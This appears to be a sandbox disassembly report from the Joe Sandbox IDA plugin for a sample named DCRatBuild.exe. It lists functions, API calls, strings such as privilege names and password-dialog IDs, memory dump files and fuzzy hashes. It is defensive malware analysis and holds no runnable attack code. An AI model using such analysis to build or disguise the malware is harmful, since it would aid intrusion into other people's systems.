Part of subcall function 00FE84DE: GetLastError.KERNEL32(00FF3958,?,00FEBFA7,00FF3958,00000000,00FF3958,00000000,?,00FEBFCE,00FF3958,00000007,00FF3958,?,00FEC3CB,00FF3958,00FF3958), ref: 00FE8506

_free.LIBCMT ref: 00FEBF3A
_free.LIBCMT ref: 00FEBF4C
_free.LIBCMT ref: 00FEBF5E
_free.LIBCMT ref: 00FEBF70

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: e430819579016f21086cef2911582d5643e16c114beac9d8366c4ba610cb05b8
Instruction ID: c25f842b23f8f502721a519440b49a9441fa7f549624de4aaa40b0715ea295b1
Opcode Fuzzy Hash: e430819579016f21086cef2911582d5643e16c114beac9d8366c4ba610cb05b8
Instruction Fuzzy Hash: 2BF012329096D5A7C620EBA6EE86C2B73DDFE007607644805F40DD7DA0CB34FC81AA54

Function 00FE8060 Relevance: 7.5, APIs: 5, Instructions: 30COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00FE807E

Part of subcall function 00FE84DE: RtlFreeHeap.NTDLL(00000000,00000000,?,00FEBFA7,00FF3958,00000000,00FF3958,00000000,?,00FEBFCE,00FF3958,00000007,00FF3958,?,00FEC3CB,00FF3958), ref: 00FE84F4
Part of subcall function 00FE84DE: GetLastError.KERNEL32(00FF3958,?,00FEBFA7,00FF3958,00000000,00FF3958,00000000,?,00FEBFCE,00FF3958,00000007,00FF3958,?,00FEC3CB,00FF3958,00FF3958), ref: 00FE8506

_free.LIBCMT ref: 00FE8090
_free.LIBCMT ref: 00FE80A3
_free.LIBCMT ref: 00FE80B4
_free.LIBCMT ref: 00FE80C5

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 72bfc58c6aa2e5ecd3f3511aeb60b0049e8103de5a02ed856492410ae1a464a0
Instruction ID: da89739518503b24922df010bc8a0e5d26fdcdc0af2351cef1cd8c705ca15edd
Opcode Fuzzy Hash: 72bfc58c6aa2e5ecd3f3511aeb60b0049e8103de5a02ed856492410ae1a464a0
Instruction Fuzzy Hash: 2DF09AB48019688BC731BF16BC454193B66FB09760329421AF04A87AB8CB3E0866BFD1

Function 00FE76BD Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\AppData\Local\Temp\DCRatBuild.exe,00000104), ref: 00FE76FD
_free.LIBCMT ref: 00FE77C8
_free.LIBCMT ref: 00FE77D2

Strings

C:\Users\user\AppData\Local\Temp\DCRatBuild.exe, xrefs: 00FE76F4, 00FE76FB, 00FE772A, 00FE7762

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: _free$FileModuleName
String ID: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe
API String ID: 2506810119-683632981
Opcode ID: 975dfef4824384efeb7303f168fe19effab8823bd9525dc92fb9fcd5315466ee
Instruction ID: 3ae93ef204df14862fea6796077413ae258e9a9392d9e1d14580e33e1f0dcb29
Opcode Fuzzy Hash: 975dfef4824384efeb7303f168fe19effab8823bd9525dc92fb9fcd5315466ee
Instruction Fuzzy Hash: 25318271E04398AFDB31EF9ADC85D9EBBFCEB85710B244066E80497201D6744E41EB51

Function 00FC7574 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00FC7579

Part of subcall function 00FC3B3D: __EH_prolog.LIBCMT ref: 00FC3B42

GetLastError.KERNEL32(?,?,00000800,?,?,?,00000000,00000000), ref: 00FC7640

Part of subcall function 00FC7BF5: GetCurrentProcess.KERNEL32(00000020,?), ref: 00FC7C04
Part of subcall function 00FC7BF5: GetLastError.KERNEL32 ref: 00FC7C4A
Part of subcall function 00FC7BF5: CloseHandle.KERNEL32(?), ref: 00FC7C59

Strings

SeSecurityPrivilege, xrefs: 00FC75BE
SeRestorePrivilege, xrefs: 00FC75D3

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: ErrorH_prologLast$CloseCurrentHandleProcess
String ID: SeRestorePrivilege$SeSecurityPrivilege
API String ID: 3813983858-639343689
Opcode ID: 7520f691ab23afc13b1532bea1ee382a0c8cdefd9656aa785dc94527dbdea510
Instruction ID: 72de8bf101aa9878204da554452cf30920b4403eadc3d20df951ec0c1f9483f8
Opcode Fuzzy Hash: 7520f691ab23afc13b1532bea1ee382a0c8cdefd9656aa785dc94527dbdea510
Instruction Fuzzy Hash: D031C171D0834AAEDF20FB64DE42FEE7B69AF55354F04405EF444A7246CB784A04EB61

Function 00FDA430 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

Part of subcall function 00FC130B: GetDlgItem.USER32(00000000,00003021), ref: 00FC134F
Part of subcall function 00FC130B: SetWindowTextW.USER32(00000000,00FF35B4), ref: 00FC1365

EndDialog.USER32(?,00000001), ref: 00FDA4B8
GetDlgItemTextW.USER32(?,00000066,?,?), ref: 00FDA4CD
SetDlgItemTextW.USER32(?,00000066,?), ref: 00FDA4E2

Strings

ASKNEXTVOL, xrefs: 00FDA448

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: ASKNEXTVOL
API String ID: 445417207-3402441367
Opcode ID: 5765fcd1600c7174968c75a2793757b3aff2b02d122c7dfb8ee03ac19b5ca9b5
Instruction ID: 4f3965181d76561260d635b6db3f6261ac1ebaa57475a318c0e29730a82c68b9
Opcode Fuzzy Hash: 5765fcd1600c7174968c75a2793757b3aff2b02d122c7dfb8ee03ac19b5ca9b5
Instruction Fuzzy Hash: 0C11D632644304AFD631DFA8DD4AF66376AFB47314F280006F241972B9C7AB9901F72A

Function 00FCD1C3 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 67COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 00FCD22E
_strncpy.LIBCMT ref: 00FCD278

Strings

$%s, xrefs: 00FCD223
@%s, xrefs: 00FCD218

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: __fprintf_l_strncpy
String ID: $%s$@%s
API String ID: 1857242416-834177443
Opcode ID: 7a1042bc4bdd578eb631170efc9b29876af5baa3ee99a86898d077176dc50040
Instruction ID: 9a1fa3a5b9aa9dde2db8e7fadd1f40d1497a433aad01a9243a20a6b72108d140
Opcode Fuzzy Hash: 7a1042bc4bdd578eb631170efc9b29876af5baa3ee99a86898d077176dc50040
Instruction Fuzzy Hash: 9421843284034DAADB21DEA4CE07FEE7BACEF04710F04052AFA1596161D375DA55EB51

Function 00FDA990 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

Part of subcall function 00FC130B: GetDlgItem.USER32(00000000,00003021), ref: 00FC134F
Part of subcall function 00FC130B: SetWindowTextW.USER32(00000000,00FF35B4), ref: 00FC1365

EndDialog.USER32(?,00000001), ref: 00FDA9DE
GetDlgItemTextW.USER32(?,00000066,?,00000080), ref: 00FDA9F6
SetDlgItemTextW.USER32(?,00000067,?), ref: 00FDAA24

Strings

GETPASSWORD1, xrefs: 00FDA9A9

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: GETPASSWORD1
API String ID: 445417207-3292211884
Opcode ID: cbed58bacedfe88beff7c3df89f20aebb3e385400d3ac3f87df4c61df9b0aa55
Instruction ID: a7d99aade94c720529a46b506b178f9e1b3479af55d27f39fd1d6659fe78ee87
Opcode Fuzzy Hash: cbed58bacedfe88beff7c3df89f20aebb3e385400d3ac3f87df4c61df9b0aa55
Instruction Fuzzy Hash: 8D114833940118BADB319E649E49FFB372EEB09310F040012FA85A3185C26A9D51F777

Function 00FCB4F7 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00FCB51E

Part of subcall function 00FC400A: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00FC401D

_wcschr.LIBVCRUNTIME ref: 00FCB53C
_wcschr.LIBVCRUNTIME ref: 00FCB54C

Strings

%c:\, xrefs: 00FCB514

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: _wcschr$__vswprintf_c_l_swprintf
String ID: %c:\
API String ID: 525462905-3142399695
Opcode ID: 36e0bdc2fefdaafca92e66bfcf58336304d4e8baf4fa9dc3673dfad3119f4e3d
Instruction ID: 7aee6dba0d611f1e8da1158d00006e253e30a91ca8b7690b88222b089f6441db
Opcode Fuzzy Hash: 36e0bdc2fefdaafca92e66bfcf58336304d4e8baf4fa9dc3673dfad3119f4e3d
Instruction Fuzzy Hash: 14014E67E0431376CB205B759D47E2BB7ACDE95370F48480EF844D6085FB34D940E2A1

Function 00FD06BA Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(00000320,00000000,?,?,?,00FCABC5,00000008,?,00000000,?,00FCCB88,?,00000000), ref: 00FD06F3
CreateSemaphoreW.KERNEL32(00000000,00000000,00000040,00000000,?,?,?,00FCABC5,00000008,?,00000000,?,00FCCB88,?,00000000), ref: 00FD06FD
CreateEventW.KERNEL32(00000000,00000001,00000001,00000000,?,?,?,00FCABC5,00000008,?,00000000,?,00FCCB88,?,00000000), ref: 00FD070D

Strings

Thread pool initialization failed., xrefs: 00FD0725

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: Create$CriticalEventInitializeSectionSemaphore
String ID: Thread pool initialization failed.
API String ID: 3340455307-2182114853
Opcode ID: 8af0022a7305323ea9d128be5b91b8982e4e95c081a37775dd88a422517c22e3
Instruction ID: 5777e9b136f3c53d6e9149d900558b7f9d286981cc61fe46425bc88b5c71eb21
Opcode Fuzzy Hash: 8af0022a7305323ea9d128be5b91b8982e4e95c081a37775dd88a422517c22e3
Instruction Fuzzy Hash: B51191B1504709AFC3215F65CC84AA7FBECEF54754F10482FF1DA86200DA716980DB54

Function 00FDD38B Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46COMMON

Download Yara Rule

Strings

RENAMEDLG, xrefs: 00FDD3DE
REPLACEFILEDLG, xrefs: 00FDD3C9, 00FDD3FD

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID:
String ID: RENAMEDLG$REPLACEFILEDLG
API String ID: 0-56093855
Opcode ID: 68c3e8da32253a2c25657cb6e2c1f23158c323050c3f7e2a0d29a98ccf667670
Instruction ID: 1fc3f420663d1b79d2eb14741847e5cc93e3d052c50cb28e5249a64dbeb8f156
Opcode Fuzzy Hash: 68c3e8da32253a2c25657cb6e2c1f23158c323050c3f7e2a0d29a98ccf667670
Instruction Fuzzy Hash: AD01B172E00249AFCB328F58E844F663BAAF705390F094427F58593365D67B9C50FBA1

Function 00FE91DE Relevance: 6.3, APIs: 4, Instructions: 305COMMONLIBRARYCODE

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00FE9269
__alldvrm.LIBCMT ref: 00FE946A
__alldvrm.LIBCMT ref: 00FE948C

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: __alldvrm$_strrchr
String ID:
API String ID: 1036877536-0
Opcode ID: 35fd0d8be5dca6c89d1c4a519db20ace465afc24967252a61766d950e54f80d3
Instruction ID: 7c285e2be3621ea00d62113eef6ffc7c46fdd59baa480376d6c19acc58b4ecb8
Opcode Fuzzy Hash: 35fd0d8be5dca6c89d1c4a519db20ace465afc24967252a61766d950e54f80d3
Instruction Fuzzy Hash: D8A14772D083C69FDB21CE5AC8817AEBBA5EF55320F18416DE5859B3C1C2B89942E760

Function 00FCA2AB Relevance: 6.1, APIs: 4, Instructions: 127filetimeCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,?,00000000,?,00FC80B7,?,?,?), ref: 00FCA351
CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,00000800,?,00000000,?,00FC80B7,?,?), ref: 00FCA395
SetFileTime.KERNEL32(?,00000800,?,00000000,?,00000000,?,00FC80B7,?,?,?,?,?,?,?,?), ref: 00FCA416
CloseHandle.KERNEL32(?,?,00000000,?,00FC80B7,?,?,?,?,?,?,?,?,?,?,?), ref: 00FCA41D

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: File$Create$CloseHandleTime
String ID:
API String ID: 2287278272-0
Opcode ID: 0f5ffbe86099b2f8f91937fa5d3292a136a261f04fbfdf3f70d31e98ee888de7
Instruction ID: 611eea54791d9d76383f5b913c503713c3361ce7722aabe911c0bf4eb1d69c48
Opcode Fuzzy Hash: 0f5ffbe86099b2f8f91937fa5d3292a136a261f04fbfdf3f70d31e98ee888de7
Instruction Fuzzy Hash: 7F41F13064838A5AD731DF24CD56FEEBBE8AF81318F04091DB5D0D3190D669EA48EB13

Function 00FEC099 Relevance: 6.1, APIs: 4, Instructions: 110COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000000,?,?,00000000,00000000,00FE89AD,?,00000000,?,00000001,?,?,00000001,00FE89AD,?), ref: 00FEC0E6
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00FEC16F
GetStringTypeW.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00FE67E2,?), ref: 00FEC181
__freea.LIBCMT ref: 00FEC18A

Part of subcall function 00FE8518: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,00FEC13D,00000000,?,00FE67E2,?,00000008,?,00FE89AD,?,?,?), ref: 00FE854A

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__freea
String ID:
API String ID: 2652629310-0
Opcode ID: 868e89efabf7e2f463bbfba031e35ad1cf2601762389b46ae52522184b832f88
Instruction ID: 27b9a63fda511896bf9893a84e6a2a58bb9227c0172f3e5faa1dd9c6f3938326
Opcode Fuzzy Hash: 868e89efabf7e2f463bbfba031e35ad1cf2601762389b46ae52522184b832f88
Instruction Fuzzy Hash: FE31E372A0024AABDF259F66CC45DAE7BA9EF40320F150129FC04D7251E739DD51EBE0

Function 00FE2503 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBVCRUNTIME ref: 00FE251A

Part of subcall function 00FE2B52: ___AdjustPointer.LIBCMT ref: 00FE2B9C

_UnwindNestedFrames.LIBCMT ref: 00FE2531
___FrameUnwindToState.LIBVCRUNTIME ref: 00FE2543
CallCatchBlock.LIBVCRUNTIME ref: 00FE2567

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: CatchUnwind$AdjustBlockBuildCallFrameFramesNestedObjectPointerState
String ID:
API String ID: 2633735394-0
Opcode ID: 8ab29acd33a3066b3f23f97a448595ce03f4b23344991831e99f7cf6ac797a0c
Instruction ID: e5670dcfc623de6632b6fdd3713433823301993faaeb7c3d982ab5fa0c2850b2
Opcode Fuzzy Hash: 8ab29acd33a3066b3f23f97a448595ce03f4b23344991831e99f7cf6ac797a0c
Instruction Fuzzy Hash: C1012932400149BBCF129F56DD41EDA3BBAEF98714F198415FD1866120D336E961EBA1

Function 00FD9DBB Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00FD9DBE
GetDeviceCaps.GDI32(00000000,00000058), ref: 00FD9DCD
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00FD9DDB
ReleaseDC.USER32(00000000,00000000), ref: 00FD9DE9

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: 43a3214b92ea02030325bb3a4d6ea0a42cbff7e10185c81ad4263bb93e8dbdd1
Instruction ID: 72cb168cf19bcbfabfda0e7cb3f4ddd189ca42f363255191770818d4573b079b
Opcode Fuzzy Hash: 43a3214b92ea02030325bb3a4d6ea0a42cbff7e10185c81ad4263bb93e8dbdd1
Instruction Fuzzy Hash: 51E08C31D85620A7C3311FE0A84CB8B3B16BB09722F550006F68196188DA7E4400CF90

Function 00FE2016 Relevance: 6.0, APIs: 4, Instructions: 14COMMON

Download Yara Rule

APIs

___vcrt_initialize_pure_virtual_call_handler.LIBVCRUNTIME ref: 00FE2016
___vcrt_initialize_winapi_thunks.LIBVCRUNTIME ref: 00FE201B
___vcrt_initialize_locks.LIBVCRUNTIME ref: 00FE2020

Part of subcall function 00FE310E: ___vcrt_InitializeCriticalSectionEx.LIBVCRUNTIME ref: 00FE311F

___vcrt_uninitialize_locks.LIBVCRUNTIME ref: 00FE2035

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
